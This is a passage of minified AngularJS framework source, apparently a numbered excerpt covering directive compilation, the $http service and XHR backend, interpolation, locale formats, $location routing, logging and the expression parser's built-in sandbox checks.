48 aa(l.value);l=na(m);if(n=V.test(l))m=kb(l.substr(6),"-");var v=l.replace(/(Start|End)$/,"");l===v+"Start"&&(C=m,O=m.substr(0,m.length-5)+"end",m=m.substr(0,m.length-6));l=na(m.toLowerCase());h[l]=m;if(n||!c.hasOwnProperty(l))c[l]=q,qc(a,l)&&(c[l]=!0);Q(a,b,q,l);ca(b,l,"A",d,g,C,O)}}a=a.className;if(z(a)&&""!==a)for(;m=f.exec(a);)l=na(m[2]),ca(b,l,"C",d,g)&&(c[l]=aa(m[3])),a=a.substr(m.index+m[0].length);break;case 3:x(b,a.nodeValue);break;case 8:try{if(m=e.exec(a.nodeValue))l=na(m[1]),ca(b,l,"M",
49 d,g)&&(c[l]=aa(m[2]))}catch(w){}}b.sort(D);return b}function J(a,b,c){var d=[],e=0;if(b&&a.hasAttribute&&a.hasAttribute(b)){do{if(!a)throw ia("uterdir",b,c);1==a.nodeType&&(a.hasAttribute(b)&&e++,a.hasAttribute(c)&&e--);d.push(a);a=a.nextSibling}while(0<e)}else d.push(a);return u(d)}function E(a,b,c){return function(d,e,f,g,m){e=J(e[0],b,c);return a(d,e,f,g,m)}}function F(a,c,d,e,f,g,m,n,p){function L(a,b,c,d){if(a){c&&(a=E(a,c,d));a.require=G.require;a.directiveName=oa;if(K===G||G.$$isolateScope)a=
50 tc(a,{isolateScope:!0});m.push(a)}if(b){c&&(b=E(b,c,d));b.require=G.require;b.directiveName=oa;if(K===G||G.$$isolateScope)b=tc(b,{isolateScope:!0});n.push(b)}}function C(a,b,c,d){var e,f="data",g=!1;if(z(b)){for(;"^"==(e=b.charAt(0))||"?"==e;)b=b.substr(1),"^"==e&&(f="inheritedData"),g=g||"?"==e;e=null;d&&"data"===f&&(e=d[b]);e=e||c[f]("$"+b+"Controller");if(!e&&!g)throw ia("ctreq",b,a);}else H(b)&&(e=[],r(b,function(b){e.push(C(a,b,c,d))}));return e}function O(a,e,f,g,p){function L(a,b){var c;2>
51 arguments.length&&(b=a,a=t);Ea&&(c=ea);return p(a,b,c)}var v,M,w,I,E,J,ea={},qb;v=c===f?d:ga(d,new Ob(u(f),d.$attr));M=v.$$element;if(K){var Na=/^\s*([@=&])(\??)\s*(\w*)\s*$/;J=e.$new(!0);!F||F!==K&&F!==K.$$originalDirective?M.data("$isolateScopeNoTemplate",J):M.data("$isolateScope",J);da(M,"ng-isolate-scope");r(K.scope,function(a,c){var d=a.match(Na)||[],f=d[3]||c,g="?"==d[2],d=d[1],m,l,n,p;J.$$isolateBindings[c]=d+f;switch(d){case "@":v.$observe(f,function(a){J[c]=a});v.$$observers[f].$$scope=e;
52 v[f]&&(J[c]=b(v[f])(e));break;case "=":if(g&&!v[f])break;l=q(v[f]);p=l.literal?za:function(a,b){return a===b||a!==a&&b!==b};n=l.assign||function(){m=J[c]=l(e);throw ia("nonassign",v[f],K.name);};m=J[c]=l(e);J.$watch(function(){var a=l(e);p(a,J[c])||(p(a,m)?n(e,a=J[c]):J[c]=a);return m=a},null,l.literal);break;case "&":l=q(v[f]);J[c]=function(a){return l(e,a)};break;default:throw ia("iscp",K.name,c,a);}})}qb=p&&L;W&&r(W,function(a){var b={$scope:a===K||a.$$isolateScope?J:e,$element:M,$attrs:v,$transclude:qb},
53 c;E=a.controller;"@"==E&&(E=v[a.name]);c=s(E,b);ea[a.name]=c;Ea||M.data("$"+a.name+"Controller",c);a.controllerAs&&(b.$scope[a.controllerAs]=c)});g=0;for(w=m.length;g<w;g++)try{I=m[g],I(I.isolateScope?J:e,M,v,I.require&&C(I.directiveName,I.require,M,ea),qb)}catch(ca){l(ca,ha(M))}g=e;K&&(K.template||null===K.templateUrl)&&(g=J);a&&a(g,f.childNodes,t,p);for(g=n.length-1;0<=g;g--)try{I=n[g],I(I.isolateScope?J:e,M,v,I.require&&C(I.directiveName,I.require,M,ea),qb)}catch(pb){l(pb,ha(M))}}p=p||{};for(var v=
54 -Number.MAX_VALUE,I,W=p.controllerDirectives,K=p.newIsolateScopeDirective,F=p.templateDirective,ca=p.nonTlbTranscludeDirective,D=!1,B=!1,Ea=p.hasElementTranscludeDirective,x=d.$$element=u(c),G,oa,U,S=e,R,Q=0,pa=a.length;Q<pa;Q++){G=a[Q];var V=G.$$start,Y=G.$$end;V&&(x=J(c,V,Y));U=t;if(v>G.priority)break;if(U=G.scope)I=I||G,G.templateUrl||(N("new/isolated scope",K,G,x),T(U)&&(K=G));oa=G.name;!G.templateUrl&&G.controller&&(U=G.controller,W=W||{},N("'"+oa+"' controller",W[oa],G,x),W[oa]=G);if(U=G.transclude)D=
55 !0,G.$$tlb||(N("transclusion",ca,G,x),ca=G),"element"==U?(Ea=!0,v=G.priority,U=x,x=d.$$element=u(X.createComment(" "+oa+": "+d[oa]+" ")),c=x[0],Na(f,Aa.call(U,0),c),S=w(U,e,v,g&&g.name,{nonTlbTranscludeDirective:ca})):(U=u(Kb(c)).contents(),x.empty(),S=w(U,e));if(G.template)if(B=!0,N("template",F,G,x),F=G,U=P(G.template)?G.template(x,d):G.template,U=Z(U),G.replace){g=G;U=Ib.test(U)?u(aa(U)):[];c=U[0];if(1!=U.length||1!==c.nodeType)throw ia("tplrt",oa,"");Na(f,x,c);pa={$attr:{}};U=ea(c,[],pa);var $=
56 a.splice(Q+1,a.length-(Q+1));K&&pb(U);a=a.concat(U).concat($);A(d,pa);pa=a.length}else x.html(U);if(G.templateUrl)B=!0,N("template",F,G,x),F=G,G.replace&&(g=G),O=y(a.splice(Q,a.length-Q),x,d,f,D&&S,m,n,{controllerDirectives:W,newIsolateScopeDirective:K,templateDirective:F,nonTlbTranscludeDirective:ca}),pa=a.length;else if(G.compile)try{R=G.compile(x,d,S),P(R)?L(null,R,V,Y):R&&L(R.pre,R.post,V,Y)}catch(ba){l(ba,ha(x))}G.terminal&&(O.terminal=!0,v=Math.max(v,G.priority))}O.scope=I&&!0===I.scope;O.transcludeOnThisElement=
57 D;O.templateOnThisElement=B;O.transclude=S;p.hasElementTranscludeDirective=Ea;return O}function pb(a){for(var b=0,c=a.length;b<c;b++)a[b]=bc(a[b],{$$isolateScope:!0})}function ca(b,e,f,g,h,q,n){if(e===h)return null;h=null;if(c.hasOwnProperty(e)){var p;e=a.get(e+d);for(var s=0,v=e.length;s<v;s++)try{p=e[s],(g===t||g>p.priority)&&-1!=p.restrict.indexOf(f)&&(q&&(p=bc(p,{$$start:q,$$end:n})),b.push(p),h=p)}catch(L){l(L)}}return h}function A(a,b){var c=b.$attr,d=a.$attr,e=a.$$element;r(a,function(d,e){"$"!=
58 e.charAt(0)&&(b[e]&&b[e]!==d&&(d+=("style"===e?";":" ")+b[e]),a.$set(e,d,!0,c[e]))});r(b,function(b,f){"class"==f?(da(e,b),a["class"]=(a["class"]?a["class"]+" ":"")+b):"style"==f?(e.attr("style",e.attr("style")+";"+b),a.style=(a.style?a.style+";":"")+b):"$"==f.charAt(0)||a.hasOwnProperty(f)||(a[f]=b,d[f]=c[f])})}function y(a,b,c,d,e,f,g,m){var h=[],l,q,s=b[0],v=a.shift(),L=B({},v,{templateUrl:null,transclude:null,replace:null,$$originalDirective:v}),O=P(v.templateUrl)?v.templateUrl(b,c):v.templateUrl;
59 b.empty();n.get(C.getTrustedResourceUrl(O),{cache:p}).success(function(n){var p,C;n=Z(n);if(v.replace){n=Ib.test(n)?u(aa(n)):[];p=n[0];if(1!=n.length||1!==p.nodeType)throw ia("tplrt",v.name,O);n={$attr:{}};Na(d,b,p);var w=ea(p,[],n);T(v.scope)&&pb(w);a=w.concat(a);A(c,n)}else p=s,b.html(n);a.unshift(L);l=F(a,p,c,e,b,v,f,g,m);r(d,function(a,c){a==p&&(d[c]=b[0])});for(q=K(b[0].childNodes,e);h.length;){n=h.shift();C=h.shift();var I=h.shift(),E=h.shift(),w=b[0];if(C!==s){var J=C.className;m.hasElementTranscludeDirective&&
60 v.replace||(w=Kb(p));Na(I,u(C),w);da(u(w),J)}C=l.transcludeOnThisElement?W(n,l.transclude,E):E;l(q,n,w,d,C)}h=null}).error(function(a,b,c,d){throw ia("tpload",d.url);});return function(a,b,c,d,e){a=e;h?(h.push(b),h.push(c),h.push(d),h.push(a)):(l.transcludeOnThisElement&&(a=W(b,l.transclude,e)),l(q,b,c,d,a))}}function D(a,b){var c=b.priority-a.priority;return 0!==c?c:a.name!==b.name?a.name<b.name?-1:1:a.index-b.index}function N(a,b,c,d){if(b)throw ia("multidir",b.name,c.name,a,ha(d));}function x(a,
61 c){var d=b(c,!0);d&&a.push({priority:0,compile:function(a){var b=a.parent().length;b&&da(a.parent(),"ng-binding");return function(a,c){var e=c.parent(),f=e.data("$binding")||[];f.push(d);e.data("$binding",f);b||da(e,"ng-binding");a.$watch(d,function(a){c[0].nodeValue=a})}}})}function S(a,b){if("srcdoc"==b)return C.HTML;var c=Ma(a);if("xlinkHref"==b||"FORM"==c&&"action"==b||"IMG"!=c&&("src"==b||"ngSrc"==b))return C.RESOURCE_URL}function Q(a,c,d,e){var f=b(d,!0);if(f){if("multiple"===e&&"SELECT"===
62 Ma(a))throw ia("selmulti",ha(a));c.push({priority:100,compile:function(){return{pre:function(c,d,m){d=m.$$observers||(m.$$observers={});if(g.test(e))throw ia("nodomevents");if(f=b(m[e],!0,S(a,e)))m[e]=f(c),(d[e]||(d[e]=[])).$$inter=!0,(m.$$observers&&m.$$observers[e].$$scope||c).$watch(f,function(a,b){"class"===e&&a!=b?m.$updateClass(a,b):m.$set(e,a)})}}}})}}function Na(a,b,c){var d=b[0],e=b.length,f=d.parentNode,g,m;if(a)for(g=0,m=a.length;g<m;g++)if(a[g]==d){a[g++]=c;m=g+e-1;for(var h=a.length;g<
63 h;g++,m++)m<h?a[g]=a[m]:delete a[g];a.length-=e-1;break}f&&f.replaceChild(c,d);a=X.createDocumentFragment();a.appendChild(d);c[u.expando]=d[u.expando];d=1;for(e=b.length;d<e;d++)f=b[d],u(f).remove(),a.appendChild(f),delete b[d];b[0]=c;b.length=1}function tc(a,b){return B(function(){return a.apply(null,arguments)},a,b)}var Ob=function(a,b){this.$$element=a;this.$attr=b||{}};Ob.prototype={$normalize:na,$addClass:function(a){a&&0<a.length&&O.addClass(this.$$element,a)},$removeClass:function(a){a&&0<
64 a.length&&O.removeClass(this.$$element,a)},$updateClass:function(a,b){var c=uc(a,b),d=uc(b,a);0===c.length?O.removeClass(this.$$element,d):0===d.length?O.addClass(this.$$element,c):O.setClass(this.$$element,c,d)},$set:function(a,b,c,d){var e=qc(this.$$element[0],a);e&&(this.$$element.prop(a,b),d=e);this[a]=b;d?this.$attr[a]=d:(d=this.$attr[a])||(this.$attr[a]=d=kb(a,"-"));e=Ma(this.$$element);if("A"===e&&"href"===a||"IMG"===e&&"src"===a)this[a]=b=I(b,"src"===a);!1!==c&&(null===b||b===t?this.$$element.removeAttr(d):
65 this.$$element.attr(d,b));(c=this.$$observers)&&r(c[a],function(a){try{a(b)}catch(c){l(c)}})},$observe:function(a,b){var c=this,d=c.$$observers||(c.$$observers={}),e=d[a]||(d[a]=[]);e.push(b);L.$evalAsync(function(){e.$$inter||b(c[a])});return b}};var pa=b.startSymbol(),Ea=b.endSymbol(),Z="{{"==pa||"}}"==Ea?Ga:function(a){return a.replace(/\{\{/g,pa).replace(/}}/g,Ea)},V=/^ngAttr[A-Z]/;return w}]}function na(b){return Ya(b.replace(ue,""))}function uc(b,a){var c="",d=b.split(/\s+/),e=a.split(/\s+/),
66 f=0;a:for(;f<d.length;f++){for(var g=d[f],k=0;k<e.length;k++)if(g==e[k])continue a;c+=(0<c.length?" ":"")+g}return c}function Pd(){var b={},a=/^(\S+)(\s+as\s+(\w+))?$/;this.register=function(a,d){Ca(a,"controller");T(a)?B(b,a):b[a]=d};this.$get=["$injector","$window",function(c,d){return function(e,f){var g,k,m;z(e)&&(g=e.match(a),k=g[1],m=g[3],e=b.hasOwnProperty(k)?b[k]:hc(f.$scope,k,!0)||hc(d,k,!0),Va(e,k,!0));g=c.instantiate(e,f);if(m){if(!f||"object"!==typeof f.$scope)throw x("$controller")("noscp",
67 k||e.name,m);f.$scope[m]=g}return g}}]}function Qd(){this.$get=["$window",function(b){return u(b.document)}]}function Rd(){this.$get=["$log",function(b){return function(a,c){b.error.apply(b,arguments)}}]}function vc(b){var a={},c,d,e;if(!b)return a;r(b.split("\n"),function(b){e=b.indexOf(":");c=N(aa(b.substr(0,e)));d=aa(b.substr(e+1));c&&(a[c]=a[c]?a[c]+", "+d:d)});return a}function wc(b){var a=T(b)?b:t;return function(c){a||(a=vc(b));return c?a[N(c)]||null:a}}function xc(b,a,c){if(P(c))return c(b,
68 a);r(c,function(c){b=c(b,a)});return b}function Ud(){var b=/^\s*(\[|\{[^\{])/,a=/[\}\]]\s*$/,c=/^\)\]\}',?\n/,d={"Content-Type":"application/json;charset=utf-8"},e=this.defaults={transformResponse:[function(d){z(d)&&(d=d.replace(c,""),b.test(d)&&a.test(d)&&(d=cc(d)));return d}],transformRequest:[function(a){return T(a)&&"[object File]"!==ya.call(a)&&"[object Blob]"!==ya.call(a)?ta(a):a}],headers:{common:{Accept:"application/json, text/plain, */*"},post:ga(d),put:ga(d),patch:ga(d)},xsrfCookieName:"XSRF-TOKEN",
69 xsrfHeaderName:"X-XSRF-TOKEN"},f=this.interceptors=[],g=this.responseInterceptors=[];this.$get=["$httpBackend","$browser","$cacheFactory","$rootScope","$q","$injector",function(a,b,c,d,n,p){function q(a){function b(a){var d=B({},a,{data:xc(a.data,a.headers,c.transformResponse)});return 200<=a.status&&300>a.status?d:n.reject(d)}var c={method:"get",transformRequest:e.transformRequest,transformResponse:e.transformResponse},d=function(a){var b=e.headers,c=B({},a.headers),d,f,b=B({},b.common,b[N(a.method)]);
70 a:for(d in b){a=N(d);for(f in c)if(N(f)===a)continue a;c[d]=b[d]}(function(a){var b;r(a,function(c,d){P(c)&&(b=c(),null!=b?a[d]=b:delete a[d])})})(c);return c}(a);B(c,a);c.headers=d;c.method=Ia(c.method);var f=[function(a){d=a.headers;var c=xc(a.data,wc(d),a.transformRequest);D(c)&&r(d,function(a,b){"content-type"===N(b)&&delete d[b]});D(a.withCredentials)&&!D(e.withCredentials)&&(a.withCredentials=e.withCredentials);return s(a,c,d).then(b,b)},t],g=n.when(c);for(r(C,function(a){(a.request||a.requestError)&&
71 f.unshift(a.request,a.requestError);(a.response||a.responseError)&&f.push(a.response,a.responseError)});f.length;){a=f.shift();var m=f.shift(),g=g.then(a,m)}g.success=function(a){g.then(function(b){a(b.data,b.status,b.headers,c)});return g};g.error=function(a){g.then(null,function(b){a(b.data,b.status,b.headers,c)});return g};return g}function s(c,f,g){function h(a,b,c,e){E&&(200<=a&&300>a?E.put(u,[a,b,vc(c),e]):E.remove(u));p(b,a,c,e);d.$$phase||d.$apply()}function p(a,b,d,e){b=Math.max(b,0);(200<=
72 b&&300>b?C.resolve:C.reject)({data:a,status:b,headers:wc(d),config:c,statusText:e})}function s(){var a=Qa(q.pendingRequests,c);-1!==a&&q.pendingRequests.splice(a,1)}var C=n.defer(),r=C.promise,E,F,u=L(c.url,c.params);q.pendingRequests.push(c);r.then(s,s);!c.cache&&!e.cache||(!1===c.cache||"GET"!==c.method&&"JSONP"!==c.method)||(E=T(c.cache)?c.cache:T(e.cache)?e.cache:v);if(E)if(F=E.get(u),A(F)){if(F&&P(F.then))return F.then(s,s),F;H(F)?p(F[1],F[0],ga(F[2]),F[3]):p(F,200,{},"OK")}else E.put(u,r);D(F)&&
73 ((F=Pb(c.url)?b.cookies()[c.xsrfCookieName||e.xsrfCookieName]:t)&&(g[c.xsrfHeaderName||e.xsrfHeaderName]=F),a(c.method,u,f,h,g,c.timeout,c.withCredentials,c.responseType));return r}function L(a,b){if(!b)return a;var c=[];Tc(b,function(a,b){null===a||D(a)||(H(a)||(a=[a]),r(a,function(a){T(a)&&(sa(a)?a=a.toISOString():T(a)&&(a=ta(a)));c.push(Ba(b)+"="+Ba(a))}))});0<c.length&&(a+=(-1==a.indexOf("?")?"?":"&")+c.join("&"));return a}var v=c("$http"),C=[];r(f,function(a){C.unshift(z(a)?p.get(a):p.invoke(a))});
74 r(g,function(a,b){var c=z(a)?p.get(a):p.invoke(a);C.splice(b,0,{response:function(a){return c(n.when(a))},responseError:function(a){return c(n.reject(a))}})});q.pendingRequests=[];(function(a){r(arguments,function(a){q[a]=function(b,c){return q(B(c||{},{method:a,url:b}))}})})("get","delete","head","jsonp");(function(a){r(arguments,function(a){q[a]=function(b,c,d){return q(B(d||{},{method:a,url:b,data:c}))}})})("post","put");q.defaults=e;return q}]}function ve(b){if(8>=R&&(!b.match(/^(get|post|head|put|delete|options)$/i)||
75 !Q.XMLHttpRequest))return new Q.ActiveXObject("Microsoft.XMLHTTP");if(Q.XMLHttpRequest)return new Q.XMLHttpRequest;throw x("$httpBackend")("noxhr");}function Vd(){this.$get=["$browser","$window","$document",function(b,a,c){return we(b,ve,b.defer,a.angular.callbacks,c[0])}]}function we(b,a,c,d,e){function f(a,b,c){var f=e.createElement("script"),g=null;f.type="text/javascript";f.src=a;f.async=!0;g=function(a){Za(f,"load",g);Za(f,"error",g);e.body.removeChild(f);f=null;var k=-1,s="unknown";a&&("load"!==
76 a.type||d[b].called||(a={type:"error"}),s=a.type,k="error"===a.type?404:200);c&&c(k,s)};rb(f,"load",g);rb(f,"error",g);8>=R&&(f.onreadystatechange=function(){z(f.readyState)&&/loaded|complete/.test(f.readyState)&&(f.onreadystatechange=null,g({type:"load"}))});e.body.appendChild(f);return g}var g=-1;return function(e,m,h,l,n,p,q,s){function L(){C=g;I&&I();w&&w.abort()}function v(a,d,e,f,g){K&&c.cancel(K);I=w=null;0===d&&(d=e?200:"file"==ua(m).protocol?404:0);a(1223===d?204:d,e,f,g||"");b.$$completeOutstandingRequest(y)}
77 var C;b.$$incOutstandingRequestCount();m=m||b.url();if("jsonp"==N(e)){var O="_"+(d.counter++).toString(36);d[O]=function(a){d[O].data=a;d[O].called=!0};var I=f(m.replace("JSON_CALLBACK","angular.callbacks."+O),O,function(a,b){v(l,a,d[O].data,"",b);d[O]=y})}else{var w=a(e);w.open(e,m,!0);r(n,function(a,b){A(a)&&w.setRequestHeader(b,a)});w.onreadystatechange=function(){if(w&&4==w.readyState){var a=null,b=null,c="";C!==g&&(a=w.getAllResponseHeaders(),b="response"in w?w.response:w.responseText);C===g&&
78 10>R||(c=w.statusText);v(l,C||w.status,b,a,c)}};q&&(w.withCredentials=!0);if(s)try{w.responseType=s}catch(da){if("json"!==s)throw da;}w.send(h||null)}if(0<p)var K=c(L,p);else p&&P(p.then)&&p.then(L)}}function Sd(){var b="{{",a="}}";this.startSymbol=function(a){return a?(b=a,this):b};this.endSymbol=function(b){return b?(a=b,this):a};this.$get=["$parse","$exceptionHandler","$sce",function(c,d,e){function f(f,h,l){for(var n,p,q=0,s=[],L=f.length,v=!1,C=[];q<L;)-1!=(n=f.indexOf(b,q))&&-1!=(p=f.indexOf(a,
79 n+g))?(q!=n&&s.push(f.substring(q,n)),s.push(q=c(v=f.substring(n+g,p))),q.exp=v,q=p+k,v=!0):(q!=L&&s.push(f.substring(q)),q=L);(L=s.length)||(s.push(""),L=1);if(l&&1<s.length)throw yc("noconcat",f);if(!h||v)return C.length=L,q=function(a){try{for(var b=0,c=L,g;b<c;b++){if("function"==typeof(g=s[b]))if(g=g(a),g=l?e.getTrusted(l,g):e.valueOf(g),null==g)g="";else switch(typeof g){case "string":break;case "number":g=""+g;break;default:g=ta(g)}C[b]=g}return C.join("")}catch(k){a=yc("interr",f,k.toString()),
80 d(a)}},q.exp=f,q.parts=s,q}var g=b.length,k=a.length;f.startSymbol=function(){return b};f.endSymbol=function(){return a};return f}]}function Td(){this.$get=["$rootScope","$window","$q",function(b,a,c){function d(d,g,k,m){var h=a.setInterval,l=a.clearInterval,n=c.defer(),p=n.promise,q=0,s=A(m)&&!m;k=A(k)?k:0;p.then(null,null,d);p.$$intervalId=h(function(){n.notify(q++);0<k&&q>=k&&(n.resolve(q),l(p.$$intervalId),delete e[p.$$intervalId]);s||b.$apply()},g);e[p.$$intervalId]=n;return p}var e={};d.cancel=
81 function(b){return b&&b.$$intervalId in e?(e[b.$$intervalId].reject("canceled"),a.clearInterval(b.$$intervalId),delete e[b.$$intervalId],!0):!1};return d}]}function bd(){this.$get=function(){return{id:"en-us",NUMBER_FORMATS:{DECIMAL_SEP:".",GROUP_SEP:",",PATTERNS:[{minInt:1,minFrac:0,maxFrac:3,posPre:"",posSuf:"",negPre:"-",negSuf:"",gSize:3,lgSize:3},{minInt:1,minFrac:2,maxFrac:2,posPre:"\u00a4",posSuf:"",negPre:"(\u00a4",negSuf:")",gSize:3,lgSize:3}],CURRENCY_SYM:"$"},DATETIME_FORMATS:{MONTH:"January February March April May June July August September October November December".split(" "),
82 SHORTMONTH:"Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec".split(" "),DAY:"Sunday Monday Tuesday Wednesday Thursday Friday Saturday".split(" "),SHORTDAY:"Sun Mon Tue Wed Thu Fri Sat".split(" "),AMPMS:["AM","PM"],medium:"MMM d, y h:mm:ss a","short":"M/d/yy h:mm a",fullDate:"EEEE, MMMM d, y",longDate:"MMMM d, y",mediumDate:"MMM d, y",shortDate:"M/d/yy",mediumTime:"h:mm:ss a",shortTime:"h:mm a"},pluralCat:function(b){return 1===b?"one":"other"}}}}function Qb(b){b=b.split("/");for(var a=b.length;a--;)b[a]=
83 jb(b[a]);return b.join("/")}function zc(b,a,c){b=ua(b,c);a.$$protocol=b.protocol;a.$$host=b.hostname;a.$$port=Z(b.port)||xe[b.protocol]||null}function Ac(b,a,c){var d="/"!==b.charAt(0);d&&(b="/"+b);b=ua(b,c);a.$$path=decodeURIComponent(d&&"/"===b.pathname.charAt(0)?b.pathname.substring(1):b.pathname);a.$$search=ec(b.search);a.$$hash=decodeURIComponent(b.hash);a.$$path&&"/"!=a.$$path.charAt(0)&&(a.$$path="/"+a.$$path)}function qa(b,a){if(0===a.indexOf(b))return a.substr(b.length)}function cb(b){var a=
84 b.indexOf("#");return-1==a?b:b.substr(0,a)}function Rb(b){return b.substr(0,cb(b).lastIndexOf("/")+1)}function Bc(b,a){this.$$html5=!0;a=a||"";var c=Rb(b);zc(b,this,b);this.$$parse=function(a){var e=qa(c,a);if(!z(e))throw Sb("ipthprfx",a,c);Ac(e,this,b);this.$$path||(this.$$path="/");this.$$compose()};this.$$compose=function(){var a=Cb(this.$$search),b=this.$$hash?"#"+jb(this.$$hash):"";this.$$url=Qb(this.$$path)+(a?"?"+a:"")+b;this.$$absUrl=c+this.$$url.substr(1)};this.$$rewrite=function(d){var e;
85 if((e=qa(b,d))!==t)return d=e,(e=qa(a,e))!==t?c+(qa("/",e)||e):b+d;if((e=qa(c,d))!==t)return c+e;if(c==d+"/")return c}}function Tb(b,a){var c=Rb(b);zc(b,this,b);this.$$parse=function(d){var e=qa(b,d)||qa(c,d),e="#"==e.charAt(0)?qa(a,e):this.$$html5?e:"";if(!z(e))throw Sb("ihshprfx",d,a);Ac(e,this,b);d=this.$$path;var f=/^\/[A-Z]:(\/.*)/;0===e.indexOf(b)&&(e=e.replace(b,""));f.exec(e)||(d=(e=f.exec(d))?e[1]:d);this.$$path=d;this.$$compose()};this.$$compose=function(){var c=Cb(this.$$search),e=this.$$hash?
86 "#"+jb(this.$$hash):"";this.$$url=Qb(this.$$path)+(c?"?"+c:"")+e;this.$$absUrl=b+(this.$$url?a+this.$$url:"")};this.$$rewrite=function(a){if(cb(b)==cb(a))return a}}function Ub(b,a){this.$$html5=!0;Tb.apply(this,arguments);var c=Rb(b);this.$$rewrite=function(d){var e;if(b==cb(d))return d;if(e=qa(c,d))return b+a+e;if(c===d+"/")return c};this.$$compose=function(){var c=Cb(this.$$search),e=this.$$hash?"#"+jb(this.$$hash):"";this.$$url=Qb(this.$$path)+(c?"?"+c:"")+e;this.$$absUrl=b+a+this.$$url}}function sb(b){return function(){return this[b]}}
87 function Cc(b,a){return function(c){if(D(c))return this[b];this[b]=a(c);this.$$compose();return this}}function Wd(){var b="",a=!1;this.hashPrefix=function(a){return A(a)?(b=a,this):b};this.html5Mode=function(b){return A(b)?(a=b,this):a};this.$get=["$rootScope","$browser","$sniffer","$rootElement",function(c,d,e,f){function g(a){c.$broadcast("$locationChangeSuccess",k.absUrl(),a)}var k,m,h=d.baseHref(),l=d.url(),n;a?(n=l.substring(0,l.indexOf("/",l.indexOf("//")+2))+(h||"/"),m=e.history?Bc:Ub):(n=
88 cb(l),m=Tb);k=new m(n,"#"+b);k.$$parse(k.$$rewrite(l));var p=/^\s*(javascript|mailto):/i;f.on("click",function(a){if(!a.ctrlKey&&!a.metaKey&&2!=a.which){for(var e=u(a.target);"a"!==N(e[0].nodeName);)if(e[0]===f[0]||!(e=e.parent())[0])return;var g=e.prop("href");T(g)&&"[object SVGAnimatedString]"===g.toString()&&(g=ua(g.animVal).href);if(!p.test(g)){if(m===Ub){var h=e.attr("href")||e.attr("xlink:href");if(h&&0>h.indexOf("://"))if(g="#"+b,"/"==h[0])g=n+g+h;else if("#"==h[0])g=n+g+(k.path()||"/")+h;
89 else{var l=k.path().split("/"),h=h.split("/");2!==l.length||l[1]||(l.length=1);for(var q=0;q<h.length;q++)"."!=h[q]&&(".."==h[q]?l.pop():h[q].length&&l.push(h[q]));g=n+g+l.join("/")}}l=k.$$rewrite(g);g&&(!e.attr("target")&&l&&!a.isDefaultPrevented())&&(a.preventDefault(),l!=d.url()&&(k.$$parse(l),c.$apply(),Q.angular["ff-684208-preventDefault"]=!0))}}});k.absUrl()!=l&&d.url(k.absUrl(),!0);d.onUrlChange(function(a){k.absUrl()!=a&&(c.$evalAsync(function(){var b=k.absUrl();k.$$parse(a);c.$broadcast("$locationChangeStart",
90 a,b).defaultPrevented?(k.$$parse(b),d.url(b)):g(b)}),c.$$phase||c.$digest())});var q=0;c.$watch(function(){var a=d.url(),b=k.$$replace;q&&a==k.absUrl()||(q++,c.$evalAsync(function(){c.$broadcast("$locationChangeStart",k.absUrl(),a).defaultPrevented?k.$$parse(a):(d.url(k.absUrl(),b),g(a))}));k.$$replace=!1;return q});return k}]}function Xd(){var b=!0,a=this;this.debugEnabled=function(a){return A(a)?(b=a,this):b};this.$get=["$window",function(c){function d(a){a instanceof Error&&(a.stack?a=a.message&&
91 -1===a.stack.indexOf(a.message)?"Error: "+a.message+"\n"+a.stack:a.stack:a.sourceURL&&(a=a.message+"\n"+a.sourceURL+":"+a.line));return a}function e(a){var b=c.console||{},e=b[a]||b.log||y;a=!1;try{a=!!e.apply}catch(m){}return a?function(){var a=[];r(arguments,function(b){a.push(d(b))});return e.apply(b,a)}:function(a,b){e(a,null==b?"":b)}}return{log:e("log"),info:e("info"),warn:e("warn"),error:e("error"),debug:function(){var c=e("debug");return function(){b&&c.apply(a,arguments)}}()}}]}function ja(b,
92 a){if("__defineGetter__"===b||"__defineSetter__"===b||"__lookupGetter__"===b||"__lookupSetter__"===b||"__proto__"===b)throw ka("isecfld",a);return b}function Oa(b,a){if(b){if(b.constructor===b)throw ka("isecfn",a);if(b.document&&b.location&&b.alert&&b.setInterval)throw ka("isecwindow",a);if(b.children&&(b.nodeName||b.prop&&b.attr&&b.find))throw ka("isecdom",a);if(b===Object)throw ka("isecobj",a);}return b}function tb(b,a,c,d,e){e=e||{};a=a.split(".");for(var f,g=0;1<a.length;g++){f=ja(a.shift(),d);
93 var k=b[f];k||(k={},b[f]=k);b=k;b.then&&e.unwrapPromises&&(va(d),"$$v"in b||function(a){a.then(function(b){a.$$v=b})}(b),b.$$v===t&&(b.$$v={}),b=b.$$v)}f=ja(a.shift(),d);Oa(b,d);Oa(b[f],d);return b[f]=c}function Dc(b,a,c,d,e,f,g){ja(b,f);ja(a,f);ja(c,f);ja(d,f);ja(e,f);return g.unwrapPromises?function(g,m){var h=m&&m.hasOwnProperty(b)?m:g,l;if(null==h)return h;(h=h[b])&&h.then&&(va(f),"$$v"in h||(l=h,l.$$v=t,l.then(function(a){l.$$v=a})),h=h.$$v);if(!a)return h;if(null==h)return t;(h=h[a])&&h.then&&
94 (va(f),"$$v"in h||(l=h,l.$$v=t,l.then(function(a){l.$$v=a})),h=h.$$v);if(!c)return h;if(null==h)return t;(h=h[c])&&h.then&&(va(f),"$$v"in h||(l=h,l.$$v=t,l.then(function(a){l.$$v=a})),h=h.$$v);if(!d)return h;if(null==h)return t;(h=h[d])&&h.then&&(va(f),"$$v"in h||(l=h,l.$$v=t,l.then(function(a){l.$$v=a})),h=h.$$v);if(!e)return h;if(null==h)return t;(h=h[e])&&h.then&&(va(f),"$$v"in h||(l=h,l.$$v=t,l.then(function(a){l.$$v=a})),h=h.$$v);return h}:function(f,g){var h=g&&g.hasOwnProperty(b)?g:f;if(null==
95 h)return h;h=h[b];if(!a)return h;if(null==h)return t;h=h[a];if(!c)return h;if(null==h)return t;h=h[c];if(!d)return h;if(null==h)return t;h=h[d];return e?null==h?t:h=h[e]:h}}function Ec(b,a,c){if(Vb.hasOwnProperty(b))return Vb[b];var d=b.split("."),e=d.length,f;if(a.csp)f=6>e?Dc(d[0],d[1],d[2],d[3],d[4],c,a):function(b,f){var g=0,k;do k=Dc(d[g++],d[g++],d[g++],d[g++],d[g++],c,a)(b,f),f=t,b=k;while(g<e);return k};else{var g="var p;\n";r(d,function(b,d){ja(b,c);g+="if(s == null) return undefined;\ns="+
